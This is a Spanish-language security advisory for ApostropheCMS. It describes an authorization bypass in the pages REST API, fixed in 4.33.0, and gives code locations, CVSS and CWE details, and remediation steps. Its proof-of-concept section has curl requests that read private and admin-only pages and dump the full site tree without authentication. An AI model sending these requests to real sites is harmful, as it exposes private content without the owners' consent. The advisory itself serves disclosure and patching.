ApostropheCMS: Omisión de autorización en la API REST de páginas
Resumen
La API REST principal de páginas lee documentos de página completos con .permission(false) en getOne y en el volcado de árbol de all=1, omitiendo las comprobaciones de tipo de página para viewRole, visibility: private y visibility: loginRequired. Los visitantes no autenticados y los colaboradores con pocos privilegios pueden leer contenido de páginas no públicas y restringidas a administradores mediante _id/slug.
Detalles
packages/apostrophe/modules/@apostrophecms/page/index.js:
getOne(L456–465):await self.publicApiCheckAsync(req); ... self.getRestQuery(req).permission(false).and(criteria)— sin umbral deviewRole, sin filtrado devisibility.- Controlador de
all(L318–395):getRestQuery(req).permission(false)(L384–385) recorre cada tipo de página y devuelve la proyección que incluyevisibility. publicApiCheckAsync(L3044) solo verifica quepublicApiProjectionexista; no realiza ninguna autorización.- El control correcto se comporta de forma diferente:
piece-type/index.js:getOne(L319–327) usagetRestQuery(req)sin.permission(false)y aplicaviewRole.
PoC
# Anonymous (no session) — private, admin-only page:
curl "http://localhost:3100/api/v1/@apostrophecms/page/d576242ve1dkzb12jiiabujd:en:published"
# → 200 {"_id":"...:en:published","title":"Secret Private Page","slug":"/secret-page",
# "type":"private-type","visibility":"private","secretData":"TOP-SECRET-VALUE-abc123"}
# Anonymous full site-map dump (includes private + loginRequired pages):
curl "http://localhost:3100/api/v1/@apostrophecms/page?all=1" # → 200, full tree
# Contributor (cont_admin) reads full admin-only doc incl. protected field:
curl -b contrib.cookies ".../api/v1/@apostrophecms/page/d576242ve1dkzb12jiiabujd:en:published"
# → 200 secretData = TOP-SECRET-VALUE-abc123
# Controls (correctly enforced):
curl -b contrib.cookies ".../api/v1/@apostrophecms/page?type=private-type&autocomplete=zz" # → 403
curl -b contrib.cookies ".../api/v1/@apostrophecms/page/d576242ve1dkzb12jiiabujd:en:draft" # → 403
Impacto
Divulgación no autenticada de páginas visibility: private y loginRequired (documentos completos, no solo rutas) y de la estructura completa del sitio con metadatos de visibilidad/tipo; los colaboradores pueden leer tipos de página exclusivos para administradores y sus campos protegidos. Dado que los _id son enumerables y se filtran mediante all=1, el problema es sistémico.
Qué hacer
Actualice a ApostropheCMS versión 4.33.0 o posterior.
Como alternativa, elimine .permission(false) de getOne/all o vuelva a aplicar el umbral de viewRole del tipo más los mismos criterios de visibility/inicio de sesión requerido que utilizan las rutas de lista y autocompletado (replicando piece-type); configure publicApiCheck únicamente para verificar la presencia de configuración y agregue un paso de autorización explícito por cada verbo.
Software afectado
Haz clic en una tecnología para ver todas sus vulnerabilidades.
| Plataforma | Paquete | Versiones vulnerables | Corregida en |
|---|---|---|---|
| Paquete de npm | apostrophe | < 4.33.0 | 4.33.0 |
Referencias
- https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-2j32-q6rx-h844
- https://github.com/apostrophecms/apostrophe/commit/9500b8b0e1d630d5e07fbb5fd2c25ed0943845ce
- https://github.com/apostrophecms/apostrophe/commit/f84fd41cbf6c22eb8d0008fc9c25df1f7130b350
- https://github.com/apostrophecms/apostrophe
- https://github.com/apostrophecms/apostrophe/releases/tag/apostrophe@4.33.0
- Vector CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N- Debilidad (CWE)
CWE-863- Plataforma
- npm
- Paquete
apostrophe- Publicada
- 20.10.2026
- Actualizado
- 20.10.2026 21:36
Fuentes y licencias · Editado o traducido por DockRay; se mantienen los derechos y las licencias de las fuentes.
OSV / GitHub Advisory Database - GHSA-2j32-q6rx-h844 - CC BY 4.0
Historial de vulnerabilidades: apostrophe
Todas las vulnerabilidades publicadas de este paquete (Paquete de npm), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.
- Entradas en total
- 27
- Primera → última
- 09.2020 10.2026
- Sin corrección
- 4
- Explotada en ataques
- 0
Distribución por gravedad
- Crítica 2
- Alta 8
- Media 13
- Baja 4
Divulgaciones por año
- 2020: 2
- 2021: 2
- 2022: 0
- 2023: 0
- 2024: 0
- 2025: 0
- 2026: 23
-
ApostropheCMS: Omisión de autorización en la API REST de páginas esta entrada
Identifica las vulnerabilidades de tu aplicación
Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.